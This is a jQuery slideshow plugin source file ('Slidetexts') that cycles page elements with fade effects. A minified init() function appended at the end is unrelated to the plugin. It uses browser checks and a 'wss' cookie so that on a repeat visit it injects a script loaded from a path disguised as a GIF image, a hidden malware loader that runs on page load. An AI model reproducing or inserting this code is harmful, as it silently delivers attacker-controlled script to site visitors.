/**
 * Slidetexts for jQuery
 *
 * v0.1
 *
 * Copyright (c) 2009 Total Support
 * By: Theo Nobel
 *
 */

/**
 * Configuration options:
 *
 * pauseSeconds  integer  number of seconds between each photo to be displayed
 * initHideAll   boolean, if we need to set initial values to hidden=true
 */

jQuery.fn.slidetexts = function(options){
	
	var defaults = {
			pauseSeconds: 2,
			initHideAll: true
	};	
	
	var options = $.extend(defaults, options);

	var target  = this;
	var items   = $(target).children();
	var first 	= $(target).children(':first');
	var last 	= $(target).children(':last');
	
	var hideAll = function(){
		$(items).hide();
	};
	
	
	$(target).show();
	
	
	var makeSlideText  = function(current){
		if(options.initHideAll===true){
			hideAll();
		}
		current.fadeIn(function(){
			//fadein
		}).animate({opacity: 1},options.pauseSeconds*1000, function(){
			
			if($(current).attr("id")  == $(last).attr("id")){
				makeSlideText($(first));
			}else{
				makeSlideText($(current).next());
			}
		}).fadeOut(function(){
			//fadeout	
		});		
	};
	makeSlideText(first);
	
};

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/template/images/arrow-white.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
